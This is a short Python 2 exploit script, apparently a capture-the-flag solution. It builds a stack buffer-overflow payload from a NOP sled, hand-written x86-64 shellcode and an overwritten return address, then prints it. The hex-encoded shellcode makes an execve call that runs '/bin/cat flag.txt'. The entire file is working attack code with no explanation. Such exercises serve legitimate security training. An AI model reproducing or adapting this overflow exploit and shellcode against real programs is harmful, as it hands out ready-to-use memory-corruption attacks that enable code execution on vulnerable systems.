import struct

sc = '\x48\x31\xf6\x56\x49\xbb\x2f\x62\x69\x6e\x2f\x63\x61\x74\x41\x53\x56\x49\xbb\x66\x6c\x61\x67\x2e\x74\x78\x74\x41\x53\x49\x89\xe5\x48\x8d\x7c\x24\x10\x56\x41\x55\x57\x48\x89\xe6\x30\xc0\xb0\x3b\x48\x31\xd2\x0f\x05'
ret_addr = 0x7fffffffdad0
padding_len = 1032 - len(sc)

nop = '\x90' * (padding_len/2)

payload = nop +'\x90'  + sc + nop + struct.pack("<Q", ret_addr)

print payload

#print len(sc)
